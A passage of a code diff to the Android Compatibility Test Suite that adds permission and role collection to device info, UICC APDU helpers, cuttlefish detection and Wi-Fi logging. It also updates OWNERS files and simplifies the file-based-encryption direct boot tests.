+ collectDefinedPermissions(store, platformPermissions, pkg);
+
collectionApplicationInfo(store, pm, pkg);
store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@
String sha256_file = PackageUtil.computePackageFileDigest(pkg);
store.addResult(SHA256_FILE, sha256_file);
+ collectRoles(store, packageRolesData, pkg);
+
store.endGroup();
}
store.endArray(); // "package"
}
- private static void collectPermissions(DeviceInfoStore store,
+ private static void collectRequestedPermissions(DeviceInfoStore store,
PackageManager pm,
Set<String> systemPermissions,
PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@
final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
store.startGroup();
- store.addResult(PERMISSION_NAME, permission);
- writePermissionsDetails(pi, store);
+ writePermissionsDetails(pi, store, systemPermissions);
- final boolean isPlatformPermission = systemPermissions.contains(permission);
- if (isPlatformPermission) {
- final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
- if (isAndroidPermission) {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
- } else {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
- }
- } else {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
- }
+ boolean isGranted = pm.checkPermission(
+ permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+ store.addResult(PERMISSION_IS_GRANTED, isGranted);
store.endGroup();
} catch (PackageManager.NameNotFoundException e) {
@@ -174,6 +199,27 @@
store.endArray();
}
+ private static void collectDefinedPermissions(DeviceInfoStore store,
+ Set<String> systemPermissions,
+ PackageInfo pkg) throws IOException {
+ if (pkg.permissions != null && pkg.permissions.length > 0) {
+ store.startArray(DEFINED_PERMISSIONS);
+ for (PermissionInfo permission : pkg.permissions) {
+ if (permission == null) continue;
+ // Ignore "android" package defined AOSP permissions.
+ if (pkg.packageName.equals(PLATFORM)
+ && isAndroidPermission(permission.name))
+ continue;
+
+ store.startGroup();
+ writePermissionsDetails(permission, store, systemPermissions);
+ store.endGroup();
+
+ }
+ store.endArray();
+ }
+ }
+
private static void collectionApplicationInfo(DeviceInfoStore store,
PackageManager pm,
PackageInfo pkg) throws IOException {
@@ -225,8 +271,12 @@
return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
}
- private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
- throws IOException {
+ private static void writePermissionsDetails(PermissionInfo pi,
+ DeviceInfoStore store,
+ Set<String> systemPermissions) throws IOException {
+ final String permissionName = pi.name;
+ store.addResult(PERMISSION_NAME, permissionName);
+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
store.addResult(PERMISSION_FLAGS, pi.flags);
} else {
@@ -244,6 +294,18 @@
store.addResult(PERMISSION_PROTECTION_FLAGS,
pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
}
+
+ final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+ if (isPlatformPermission) {
+ final boolean isAndroidPermission = isAndroidPermission(permissionName);
+ if (isAndroidPermission) {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+ }
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+ }
}
private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@
.getResources()
.getIdentifier(name, type, "android");
}
+
+ /** Return a boolean value to whether the permission is an android permission defined by android package */
+ private static boolean isAndroidPermission(String permissionName) {
+ if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+ || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+ || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+ return true;
+ return false;
+ }
+
+ private static void collectRoles(DeviceInfoStore store,
+ HashMap<String, List<String>> packageRolesData,
+ PackageInfo pkg) throws IOException {
+ String packageName = pkg.packageName;
+ if(packageRolesData.containsKey(packageName)) {
+ List<String> roleNames = packageRolesData.get(packageName);
+
+ store.startArray(REQUESTED_ROLES);
+ for(String roleName: roleNames) {
+ store.startGroup();
+ store.addResult(ROLE_NAME, roleName);
+ store.endGroup();
+ }
+ store.endArray();
+ }
+ }
+
+ /*
+ Return a map of PackageName -> List of RoleNames held by that package
+ */
+ private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+ final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+ HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+ for(String roleName: RolesUtil.ROLE_NAMES) {
+ List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+ for(String packageName: packageNames) {
+ packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+ packageRolesData.get(packageName).add(roleName);
+ }
+ }
+ return packageRolesData;
+ }
+
+ public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+ return callWithShellPermissionIdentity(
+ () -> roleManager.getRoleHolders(roleName),
+ Manifest.permission.MANAGE_ROLE_HOLDERS);
+ }
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 0000000..65531d5
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+ public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+ "android.app.role.ASSISTANT",
+ "android.app.role.AUTOMOTIVE_NAVIGATION",
+ "android.app.role.BROWSER",
+ "android.app.role.CALL_REDIRECTION",
+ "android.app.role.CALL_SCREENING",
+ "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+ "android.app.role.COMPANION_DEVICE_COMPUTER",
+ "android.app.role.COMPANION_DEVICE_WATCH",
+ "android.app.role.DEVICE_POLICY_MANAGEMENT",
+ "android.app.role.DIALER",
+ "android.app.role.EMERGENCY",
+ "android.app.role.HOME",
+ "android.app.role.SMS",
+ "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+ "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+ "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+ "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+ "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+ "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+ "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+ "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+ "android.app.role.SYSTEM_CONTACTS",
+ "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+ "android.app.role.SYSTEM_GALLERY",
+ "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+ "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+ "android.app.role.SYSTEM_SHELL",
+ "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+ "android.app.role.SYSTEM_SUPERVISION",
+ "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+ "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+ "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+ "android.app.role.SYSTEM_UI",
+ "android.app.role.SYSTEM_UI_INTELLIGENCE",
+ "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+ "android.app.role.SYSTEM_WELLBEING",
+ "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+ }));
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
index d620219..0c7cfdd 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -52,6 +52,7 @@
String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
Uri sdcardUri = Uri.parse(uriPath);
Context appContext = InstrumentationRegistry.getTargetContext();
+ FileNotFoundException original = null;
try {
ContentResolver resolver = appContext.getContentResolver();
ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
@@ -61,9 +62,17 @@
} catch (FileNotFoundException e) {
// Log the error and use the fallback too
Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
+ original = e;
}
// Fallback to the direct search
- File configFile = getConfigFile(configFolder, moduleName);
- initializeConfig(configFile);
+ try {
+ File configFile = getConfigFile(configFolder, moduleName);
+ initializeConfig(configFile);
+ return;
+ } catch (FileNotFoundException e) {
+ Log.e("DynamicConfigDeviceSide", "Failed the direct search fallback for " + moduleName);
+ }
+ // Throw the original exception as it was the expected one.
+ throw original;
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index c4487da..488c73f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -1496,8 +1496,8 @@
/*
* Some parts of media CTS verifies device characterization that does not make sense for
- * non-production devices (such as GSI). We call these devices 'frankenDevices'. We may
- * also limit test duration on these devices.
+ * non-production devices (such as GSI and cuttlefish). We call these devices 'frankenDevices'.
+ * We may also limit test duration on these devices.
*/
public static boolean onFrankenDevice() throws IOException {
String systemBrand = PropertyUtil.getProperty("ro.product.system.brand");
@@ -1510,6 +1510,10 @@
if (systemExtProduct != null) {
systemProduct = systemExtProduct;
}
+ String systemExtModel = PropertyUtil.getProperty("ro.product.system_ext.model");
+ if (systemExtModel != null) {
+ systemModel = systemExtModel;
+ }
}
if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
@@ -1518,6 +1522,13 @@
systemModel.startsWith("GSI on ") || systemProduct.startsWith("gsi_"))) {
return true;
}
+
+ // Return true for cuttlefish instances
+ if ((systemBrand.equals("Android") || systemBrand.equals("google")) &&
+ (systemProduct.startsWith("cf_") || systemProduct.startsWith("aosp_cf_") ||
+ systemModel.startsWith("Cuttlefish "))) {
+ return true;
+ }
return false;
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
index 610ce88..4adab28 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiccUtil.java
@@ -27,23 +27,78 @@
/** Utility class for common UICC- and SIM-related operations. */
public final class UiccUtil {
+
// A table mapping from a number to a hex character for fast encoding hex strings.
private static final char[] HEX_CHARS = {
- '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
+ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};
- /** The hashes of all supported CTS UICC test keys and their corresponding specification. */
+ /**
+ * Data class representing a single APDU transmission.
+ *
+ * <p>Constants are defined in TS 102 221 Section 10.1.2.
+ */
+ public static final class ApduCommand {
+ public static final int INS_GET_RESPONSE = 0xC0;
+
+ public final int cla;
+ public final int ins;
+ public final int p1;
+ public final int p2;
+ public final int p3;
+ @Nullable public final String data;
+
+ public ApduCommand(int cla, int ins, int p1, int p2, int p3, @Nullable String data) {
+ this.cla = cla;
+ this.ins = ins;
+ this.p1 = p1;
+ this.p2 = p2;
+ this.p3 = p3;
+ this.data = data;
+ }
+
+ @Override
+ public String toString() {
+ return "cla=0x"
+ + Integer.toHexString(cla)
+ + ", ins=0x"
+ + Integer.toHexString(ins)
+ + ", p1=0x"
+ + Integer.toHexString(p1)
+ + ", p2=0x"
+ + Integer.toHexString(p2)
+ + ", p3=0x"
+ + Integer.toHexString(p3)
+ + ", data="
+ + data;
+ }
+ }
+
+ /** Various APDU status words and their meanings, as defined in TS 102 221 Section 10.2.1 */
+ public static final class ApduResponse {
+ public static final String SW1_MORE_RESPONSE = "61";
+
+ public static final String SW1_SW2_OK = "9000";
+ public static final String SW1_OK_PROACTIVE_COMMAND = "91";
+ }
+
+ /**
+ * The hashes of all supported CTS UICC test keys and their corresponding specification.
+ *
+ * <p>For up-to-date information about the CTS SIM specification, please see
+ * https://source.android.com/devices/tech/config/uicc#validation.
+ */
@StringDef({UiccCertificate.CTS_UICC_LEGACY, UiccCertificate.CTS_UICC_2021})
public @interface UiccCertificate {
/**
* Indicates compliance with the "legacy" CTS UICC specification (prior to 2021).
*
- * <p>Deprecated as of 2021, support to be removed in 2022.
- *
* <p>Corresponding certificate: {@code aosp-testkey}.
+ *
+ * @deprecated as of 2021, and no longer supported as of 2022.
*/
- String CTS_UICC_LEGACY = "61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81";
+ @Deprecated String CTS_UICC_LEGACY = "61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81";
/**
* Indicates compliance with the 2021 CTS UICC specification.
@@ -83,16 +138,15 @@
* Converts a byte array into a String of hexadecimal characters.
*
* @param bytes an array of bytes
- *
* @return hex string representation of bytes array
*/
@Nullable
public static String bytesToHexString(@Nullable byte[] bytes) {
if (bytes == null) return null;
- StringBuilder ret = new StringBuilder(2*bytes.length);
+ StringBuilder ret = new StringBuilder(2 * bytes.length);
- for (int i = 0 ; i < bytes.length ; i++) {
+ for (int i = 0; i < bytes.length; i++) {
int b;
b = 0x0f & (bytes[i] >> 4);
ret.append(HEX_CHARS[b]);
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9..30084ea 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@
import android.net.Uri;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
+import android.os.Process;
import android.text.TextUtils;
import android.util.Log;
@@ -61,6 +62,7 @@
private final Context mContext;
private final WifiManager mWifiManager;
+ private WifiManager mCurrentUserWifiManager;
public WifiConfigCreator(Context context) {
this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@
public WifiConfigCreator(Context context, WifiManager wifiManager) {
mContext = context;
mWifiManager = wifiManager;
+ mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+ Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
+ + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+ }
+
+ @Override
+ public String toString() {
+ return "WifiConfigCreator[mWifiManager=" + mWifiManager
+ + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
}
/**
@@ -81,6 +92,7 @@
WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
+ Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
int netId = mWifiManager.addNetwork(wifiConf);
if (netId != -1) {
@@ -303,15 +315,17 @@
}
private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
- Log.d(TAG, "calling getConfiguredNetworks()");
- List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+ Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+ // Must use a the WifiManager of the current user to list networks, as
+ // getConfiguredNetworks() would return empty on systems using headless system
+ // mode as that method "Return a list of all the networks configured for the current
+ // foreground user", and the system user is running in the background in this case.
+ List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+ .getConfiguredNetworks();
Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
- + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+ + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+ .collect(Collectors.toList()));
return configuredNetworks;
}
-
- public List<WifiConfiguration> getConfiguredNetworks() {
- return mWifiManager.getConfiguredNetworks();
- }
}
diff --git a/hostsidetests/adb/OWNERS b/hostsidetests/adb/OWNERS
index b07c3bb..5050f5c 100644
--- a/hostsidetests/adb/OWNERS
+++ b/hostsidetests/adb/OWNERS
@@ -1,3 +1,3 @@
# Bug component: 1352
-jmgao@google.com
+shaju@google.com
include platform/system/core:/janitors/OWNERS
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index e4d9d04..82aa6e6 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,41 +1,56 @@
# Bug component: 533114
-toddke@google.com
+# Bug component: 36137 = per-file ApplicationVisibilityTest.java
+# Bug component: 36137 = per-file BaseInstallMultiple.java
+# Bug component: 568761 = per-file CorruptApkTests.java
+# Bug component: 36137 = per-file EphemeralTest.java
+# Bug component: 36137 = per-file InstantAppUserTest.java
+# Bug component: 36137 = per-file InstantCookieHostTest.java
+# Bug component: 36137 = per-file IsolatedSplitsTests.java
+# Bug component: 36137 = per-file MajorVersionTest.java
+# Bug component: 568631 = per-file OverlayHostTest.java
+# Bug component: 36137 = per-file Package*
+# Bug component: 36137 = per-file Pkg*
+# Bug component: 36137 = per-file PrivilegedUpdateTests.java
+# Bug component: 36137 = per-file SharedUserIdTest.java
+# Bug component: 36137 = per-file SplitTests.java
+
patb@google.com
-per-file AccessSerialNumberTest.java = moltmann@google.com
+per-file AccessSerialNumberTest.java = ashfall@google.com
per-file ApexSignatureVerificationTest.java = dariofreni@google.com
-per-file ApplicationVisibilityTest.java = toddke@google.com,patb@google.com
per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
-per-file AppOpsTest.java = moltmann@google.com
+per-file AppOpsTest.java = ashfall@google.com
per-file AppSecurityTests.java = cbrubaker@google.com
per-file AuthBoundKeyTest.java = file:test-apps/AuthBoundKeyApp/OWNERS
-per-file BaseInstallMultiple.java = toddke@google.com,patb@google.com
-per-file CorruptApkTests.java = rtmitchell@google.com
per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file EphemeralTest.java = toddke@google.com,patb@google.com
per-file ExternalStorageHostTest.java = nandana@google.com
per-file ExternalStorageHostTest.java = zezeozue@google.com
-per-file InstantAppUserTest.java = toddke@google.com,patb@google.com
-per-file InstantCookieHostTest.java = toddke@google.com,patb@google.com
-per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
per-file KeySetHostTest.java = cbrubaker@google.com
per-file ListeningPortsTest.java = cbrubaker@google.com
-per-file MajorVersionTest.java = toddke@google.com,patb@google.com
-per-file OverlayHostTest.java = rtmitchell@google.com
-per-file Package* = chiuwinson@google.com,patb@google.com,toddke@google.com
-per-file PermissionsHostTest.java = moltmann@google.com
-per-file Pkg* = chiuwinson@google.com,patb@google.com,toddke@google.com
+per-file PermissionsHostTest.java = ashfall@google.com
per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
-per-file PrivilegedUpdateTests.java = toddke@google.com,patb@google.com
-per-file ReviewPermissionHelper = moltmann@google.com
-per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file SharedUserIdTest.java = toddke@google.com,patb@google.com
-per-file SplitTests.java = patb@google.com,toddke@google.com,patb@google.com
+per-file RequestsOnlyCalendarApp22.java = ashfall@google.com
per-file UseEmbeddedDexTest.java = victorhsieh@google.com
+# Package Manager
+per-file ApplicationVisibilityTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file BaseInstallMultiple.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file EphemeralTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file InstantAppUserTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file InstantCookieHostTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file IsolatedSplitsTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file MajorVersionTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file PermissionsHostTest.java = ashfall@google.com
+per-file Pkg* = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file PrivilegedUpdateTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file SharedUserIdTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file SplitTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+# Resources
+per-file CorruptApkTests.java = patb@google.com, zyy@google.com
+per-file OverlayHostTest.java = patb@google.com, zyy@google.com
# test apps
-per-file BasePermissionsTest.java = moltmann@google.com
-per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ReviewPermissionHelper = moltmann@google.com
-per-file UsePermission*.java = moltmann@google.com
+per-file BasePermissionsTest.java = ashfall@google.com
+per-file RequestsOnlyCalendarApp22.java = ashfall@google.com
+per-file ReviewPermissionHelper = ashfall@google.com
+per-file UsePermission*.java = ashfall@google.com
# CTS shim packages
per-file CtsShim*.apk = dariofreni@google.com
per-file CtsShim*.apk = ioffe@google.com
@@ -49,4 +64,4 @@
per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
-per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index fb4d9d0..cb76f326f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -390,6 +390,7 @@
// Uninstall the internal copy and remount; we should have no record of app
getDevice().uninstallPackage(PKG);
getDevice().executeShellCommand("sm mount " + vol.volId);
+ waitForVolumeReady();
assertEmpty(getDevice().executeShellCommand("pm list packages " + PKG));
} finally {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index b872cf3..67fb73d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -76,9 +76,6 @@
private static final String APPB_METHOD_CAN_NOT_ACCESS_APPA_DIR = "testCanNotAccessAppADataDir";
private static final String APPB_METHOD_CAN_ACCESS_APPA_DIR = "testCanAccessAppADataDir";
- private static final String FBE_MODE_NATIVE = "native";
- private static final String FBE_MODE_EMULATED = "emulated";
-
private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -221,17 +218,7 @@
Thread.sleep(15000);
// Follow DirectBootHostTest, reboot system into known state with keys ejected
- if (isFbeModeEmulated()) {
- final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
- if (res != null && res.contains("Emulation not supported")) {
- LogUtil.CLog.i("FBE emulation is not supported, skipping test");
- return;
- }
- getDevice().waitForDeviceNotAvailable(30000);
- getDevice().waitForDeviceOnline(120000);
- } else {
- getDevice().rebootUntilOnline();
- }
+ getDevice().rebootUntilOnline();
waitForBootCompleted(getDevice());
// Verify DE data is still readable and writeable, while CE and external data are not
@@ -268,13 +255,7 @@
"settings delete global require_password_to_decrypt");
} finally {
// Get ourselves back into a known-good state
- if (isFbeModeEmulated()) {
- getDevice().executeShellCommand("sm set-emulate-fbe false");
- getDevice().waitForDeviceNotAvailable(30000);
- getDevice().waitForDeviceOnline();
- } else {
- getDevice().rebootUntilOnline();
- }
+ getDevice().rebootUntilOnline();
getDevice().waitForDeviceAvailable();
}
}
@@ -423,15 +404,4 @@
"getprop persist.sys.vold_app_data_isolation_enabled").trim(),
is("true"));
}
-
- private boolean isFbeModeEmulated() throws Exception {
- String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
- if (mode.equals(FBE_MODE_EMULATED)) {
- return true;
- } else if (mode.equals(FBE_MODE_NATIVE)) {
- return false;
- }
- fail("Unknown FBE mode: " + mode);
- return false;
- }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index ab51c75..f3d58ee 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -26,8 +26,6 @@
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
-import android.platform.test.annotations.RequiresDevice;
-
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -54,10 +52,6 @@
private static final String OTHER_APK = "CtsSplitApp29.apk";
private static final String OTHER_PKG = "com.android.cts.splitapp";
- private static final String MODE_NATIVE = "native";
- private static final String MODE_EMULATED = "emulated";
- private static final String MODE_NONE = "none";
-
private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
private static final String FEATURE_SECURE_LOCK_SCREEN =
"feature:android.software.secure_lock_screen";
@@ -65,8 +59,6 @@
private static final String FEATURE_SECURITY_MODEL_COMPATIBLE =
"feature:android.hardware.security.model.compatible";
- private static final long SHUTDOWN_TIME_MS = 30 * 1000;
-
@Before
public void setUp() throws Exception {
Utils.prepareSingleUser(getDevice());
@@ -84,53 +76,36 @@
}
/**
- * Automotive devices MUST support native FBE.
+ * Automotive devices MUST use FBE.
*/
@Test
- public void testAutomotiveNativeFbe() throws Exception {
+ public void testAutomotiveFbe() throws Exception {
assumeSupportedDevice();
assumeTrue("Device not automotive; skipping test", isAutomotiveDevice());
-
- assertTrue("Automotive devices must support native FBE",
- MODE_NATIVE.equals(getFbeMode()));
+ assertTrue("Automotive devices must use FBE", fbeEnabled());
}
/**
- * If device has native FBE, verify lifecycle.
+ * If device uses FBE, verify the direct boot lifecycle.
*/
@Test
- public void testDirectBootNative() throws Exception {
+ public void testDirectBoot() throws Exception {
assumeSupportedDevice();
- assumeTrue("Device doesn't have native FBE; skipping test",
- MODE_NATIVE.equals(getFbeMode()));
- doDirectBootTest(MODE_NATIVE);
+ assumeTrue("Device doesn't use FBE; skipping test", fbeEnabled());
+ doDirectBootTest(true);
}
/**
- * If device doesn't have native FBE, enable emulation and verify lifecycle.
+ * If device doesn't use FBE, verify the legacy lifecycle.
*/
@Test
- @RequiresDevice
- public void testDirectBootEmulated() throws Exception {
+ public void testNoDirectBoot() throws Exception {
assumeSupportedDevice();
- assumeFalse("Device has native FBE; skipping test",
- MODE_NATIVE.equals(getFbeMode()));
- doDirectBootTest(MODE_EMULATED);
+ assumeFalse("Device uses FBE; skipping test", fbeEnabled());
+ doDirectBootTest(false);
}
- /**
- * If device doesn't have native FBE, verify normal lifecycle.
- */
- @Test
- public void testDirectBootNone() throws Exception {
- assumeSupportedDevice();
- assumeFalse("Device has native FBE; skipping test",
- MODE_NATIVE.equals(getFbeMode()));
- doDirectBootTest(MODE_NONE);
- }
-
- public void doDirectBootTest(String mode) throws Exception {
- boolean doTest = true;
+ public void doDirectBootTest(boolean fbeEnabled) throws Exception {
try {
// Set up test app and secure lock screens
new InstallMultiple().addFile(APK).run();
@@ -150,24 +125,13 @@
Thread.sleep(15000);
// Reboot system into known state with keys ejected
- if (MODE_EMULATED.equals(mode)) {
- final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
- if (res != null && res.contains("Emulation not supported")) {
- doTest = false;
- }
- getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
- getDevice().waitForDeviceOnline(120000);
- } else {
- getDevice().rebootUntilOnline();
- }
+ getDevice().rebootUntilOnline();
waitForBootCompleted(getDevice());
- if (doTest) {
- if (MODE_NONE.equals(mode)) {
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
- } else {
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
- }
+ if (fbeEnabled) {
+ runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
+ } else {
+ runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
}
} finally {
@@ -178,13 +142,7 @@
getDevice().uninstallPackage(PKG);
// Get ourselves back into a known-good state
- if (MODE_EMULATED.equals(mode)) {
- getDevice().executeShellCommand("sm set-emulate-fbe false");
- getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
- getDevice().waitForDeviceOnline();
- } else {
- getDevice().rebootUntilOnline();
- }
+ getDevice().rebootUntilOnline();
getDevice().waitForDeviceAvailable();
}
}
@@ -196,8 +154,8 @@
Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
}
- private String getFbeMode() throws Exception {
- return getDevice().executeShellCommand("sm get-fbe-mode").trim();
+ private boolean fbeEnabled() throws Exception {
